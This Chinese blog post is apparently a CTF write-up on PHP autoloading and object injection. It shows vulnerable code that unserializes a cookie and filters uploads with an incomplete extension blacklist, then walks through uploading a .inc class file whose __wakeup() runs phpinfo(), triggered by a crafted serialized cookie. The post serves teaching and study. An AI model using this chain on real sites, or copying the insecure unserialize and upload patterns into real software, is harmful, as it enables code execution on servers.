PHP对象注入的实例分析

1. 写在前面

最近经常会遇到一些比较有意思的漏洞,比如PHP反序列化漏洞,PHP对象注入。这些漏洞可能在平时很难遇到,但是在CTF以及一些CMS倒是经常看到他们的背影。今天刚刚好手上看到了某CTF的代码,但是并没有获取所有源码,因此修改了部分代码进行分析。

2. 自动加载

2.0 为什么要自动加载?

在面向对象编程中,程序员经常会编写好类然后在一个入口文件中将它们包含进来。如果一个项目非常大,可能存在成百上千个类文件,如果一一包含进去,那么入口文件就会显得特别大并且不利于维护。因此,PHP5提供了一种自动加载机制。

2.1 __autoload

index.php

function __autoload($classname){
 $class_file = strtolower($classname).".php";
 if(file_exists($class_file)){
  require_once("$class_file");
 }else{
  echo "$class_file does not exist!";
 }
}
$obj = new File();

访问index.php,程序会尝试实例化File类。PHP的解析器会自动调用__autoload()函数。假设当前目录下没有file.php,那么就会输出 “file.php does not exist!” 并且抛出错误。

file.php

class File{
 function __construct(){
  echo "File class is instantiated";
 }
}

此时访问index.php,就会得到 “File class is instantiated” 的结果。这样一来,自动加载机制就非常好理解了。

2.2 手动调用 spl_autoload

void spl_autoload ( string $class_name [, string $file_extensions ] )
 
它可以接收两个参数,第一个参数是$class_name,表示类名。第二个参数$file_extensions是可选的,表示类文件的扩展名;如果不指定的话,它将使用默认的扩展名.inc或.php。
spl_autoload首先将$class_name变为小写,然后在所有的include path中搜索$class_name.inc或$class_name.php文件(如果不指定$file_extensions参数的话),如果找到,就加载该类文件。
同样,你可以手动使用spl_autoload(“Person”, “.class.php”)来加载Person类。实际上,它跟require/include差不多

举个例子

spl_autoload("upload");
$F = new Upload();

这里没有指定扩展名,那么就会在当前目录下寻找upload.inc或者upload.php并自动加载。其实,到这里而言,和require、include相比并没有简单。相反,它们的功能基本是一模一样的。

2.3 自动调用 spl_autoload

上面所说的使用手动的方式调用spl_autoload,工作量其实和require/include基本上差不多。调用spl_autoload_register()的时候,如果没有指定欲注册的自动装载函数,则自动注册 autoload 的默认实现函数spl_autoload()。

举个例子

spl_autoload_register();
$F = new Upload();

此时,程序会在当前路径下自动加载upload.inc或upload.php。

3. 反序列化
字符串序列化成类之前,类必须提前声明,否则无法反序列化。
字符串在反序列化的时候,会自动调用__wakeup()魔术方法
Object序列化格式 -> O:strlen(对象名):对象名:对象大小:{s:strlen(属性名):属性名:属性值;(重复剩下的元素)}

4. 漏洞剖析

index.php

include_once "common.inc.php";
if(isset($req["act"]) && preg_match('/^[a-z0-9_]+$/is', $req["act"])) {
    include_once __DIR__ . "/" . $req["act"] . ".php";
    exit;
}

common.inc.php

spl_autoload_register();
error_reporting(0);
ini_set('display_errors', false);
$req = [];
 
foreach([$_GET, $_POST] as $global_var) {
    foreach($global_var as $key => $value) {
        is_string($value) && $req[$key] = addslashes($value);
    }
}
 
$userinfo = isset($_COOKIE["userinfo"]) ? unserialize($_COOKIE["userinfo"]) : [];
 

upload.php

if($_FILES["attach"]["error"] == 0) {
    if($_FILES["attach"]['size'] > 0 && $_FILES["attach"]['size'] < 102400) {
        $typeAccepted = ["image/jpeg", "image/gif", "image/png"];
        $blackext = ["php", "php5", "php3", "html", "swf", "htm"];
        $filearr = pathinfo($_FILES["attach"]["name"]); 
        if(!in_array($_FILES["attach"]['type'], $typeAccepted)) {
            exit("type error");
        }
        if(in_array($filearr["extension"], $blackext)) {
            exit("extension error");
        }
        $filename = $_FILES["attach"]["name"];
        if(move_uploaded_file($_FILES["attach"]["tmp_name"], $filename)) {   
            array_push($userinfo, $filename);
            setcookie("userinfo", serialize($userinfo), time() + 60 * 60 * 24 * 30);
            echo htmlspecialchars("upload success, new filename is {$filename} .");
        } else {
            echo "upload error!";
        }
    }
} else {
    echo "no upload file";
}

在common.inc.php中执行了spl_autoload_register()函数,并没有使用参数。
后缀没有禁止.inc的类型
在common.inc.php会反序列化COOKIE中的数据
上传目录在当前目录下
因此我们需要如下构造:

上传一个名为info.inc的文件,抓包修改MIME类型。info.inc的内容如下所示:

class info{
 function __wakeup(){
  phpinfo();
 }
}

修改cookie的uesrinfo字段为:O:4:”info”:0:{}
访问index.php即可触发phpinfo()函数。

时间: 2024-10-31 17:42:21

PHP对象注入的实例分析的相关文章

PHP防止注入攻击实例分析_php技巧

本文以实例形式详细分析了PHP防止注入攻击的方法.分享给大家供大家参考.具体分析如下: PHP addslashes() 函数--单撇号加斜线转义 PHP String 函数 定义和用法 addslashes() 函数在指定的预定义字符前添加反斜杠. 这些预定义字符是:  单引号 (')  双引号 (")  反斜杠 (\)  NULL语法: addslashes(string) 参数  描述 string 必需.规定要检查的字符串. 提示和注释 提示:该函数可用于为存储在数据库中的字符串以及数据

JS克隆,属性,数组,对象,函数实例分析_javascript技巧

本文实例讲述了JS克隆,属性,数组,对象,函数.分享给大家供大家参考,具体如下: <script type="text/javascript"> /* 克隆原型得到对象 */ function clone(object) { function F() {} F.prototype = object; return new F; } var Person = { name: 'default name', getName: function() { return this.n

JavaScript通过function定义对象并给对象添加toString()方法实例分析

 这篇文章主要介绍了JavaScript通过function定义对象并给对象添加toString()方法,实例分析了javascript中function定义对象及添加方法的使用技巧,具有一定参考借鉴价值,需要的朋友可以参考下     本文实例分析了JavaScript通过function定义对象并给对象添加toString()方法.分享给大家供大家参考.具体分析如下: 下面的JS代码通过function定义了一个movie对象,在movie对象内定义了一个toString方法,toString

Joomla 对象注入漏洞分析报告

本文讲的是 Joomla 对象注入漏洞分析报告,近日,Joomla再曝高危0day漏洞,可进行远程命令执行,阿里云云盾昨日已上线相应的拦截规则抵御该漏洞.同时,对云托管客户已经做了电话通知和自动漏洞修复.统计数据显示,截至16日凌晨,已有数百个恶意IP尝试使用该漏洞对阿里云网站发起攻击,云盾已成功拦截上万次攻击请求,其中攻击请求数排名第一的黑客在一小时内尝试入侵超过1000个 Joomla 网站. 根据此次漏洞情况,Joomla 官方已紧急放出了3.4.6版本.joomla用户除了尽快升级至最新

PHP序列化/对象注入漏洞分析_php技巧

本文是关于PHP序列化/对象注入漏洞分析的短篇,里面讲述了如何获取主机的远程shell. 如果你想自行测试这个漏洞,你可以通过 XVWA 和 Kevgir 进行操作. 漏洞利用的第一步,我们开始测试目标应用是否存在PHP序列化.为了辅助测试,我们使用了Burpsuite的SuperSerial插件,下载地址在 这里 .它会被动检测PHP和Java序列化的存在. 分析 我们检测到了应用里使用了PHP序列化,所以我们可以开始确认应用代码里是否含有远程代码执行漏洞.需要注意的是,序列化对象是从参数"r

JavaScript通过function定义对象并给对象添加toString()方法实例分析_javascript技巧

本文实例分析了JavaScript通过function定义对象并给对象添加toString()方法.分享给大家供大家参考.具体分析如下: 下面的JS代码通过function定义了一个movie对象,在movie对象内定义了一个toString方法,toString方法通过外部函数实现. <script type="text/javascript"> function movieToString() { return("title: "+this.titl

java对象转型实例分析_java

本文实例讲述了java对象转型的概念,分享给大家供大家参考.具体方法如下: 对象转型(casting)注意事项如下: 1.一个基类的引用类型变量可以"指向"其子类的对象. 2.一个基类的引用不可以访问其子类对象新增加的成员(属性和方法). 3.可以使用 引用变量 instanceof 类名 来判断该引用型变量所"指向"的对象是否属于该类或该类的子类. 4.子类的对象可以当做基类的对象来使用称作向上转型(upcasting),反之成为向下转型(downcasting)

解析PHP对象注入漏洞

?? 0.前言 逛乌云知识库的时候看到一篇有趣的译文:www.2cto.com 说的是一种注入方式,叫对象注入.对象也能注入? 是的,只要是存在污染数据,没有什么是不可能注入的,但是这个漏洞有点太古怪了,所以我觉得有趣.   1.原理 在程序编写的时候,往往需要序列化一些运行时数据,所谓序列化就是按照一定的格式将运行时数据写入本地文件.这样做可以对数据进行本地保存,用的时候直接读文件就可以把运行时产生的数据读出.在PHP中就是serialize和unserialize函数了. 能够注入的原理就是

Asp.Net(C#)自动执行计划任务的程序实例分析分享

 这篇文章主要介绍了Asp.Net(C#)自动执行计划任务的程序实例分析,有需要的朋友可以参考一下 在业务复杂的应用程序中,有时候会要求一个或者多个任务在一定的时间或者一定的时间间隔内计划进行,比如定时备份或同步数据库,定时发送电子邮件等,我们称之为计划任务.实现计划任务的方法也有很多,可以采用SQLAgent执行存储过程来实现,也可以采用Windows任务调度程序来实现,也可以使用Windows服务来完成我们的计划任务,这些方法都是很好的解决方案.但是,对于Web应用程序来说,这些方法实现起来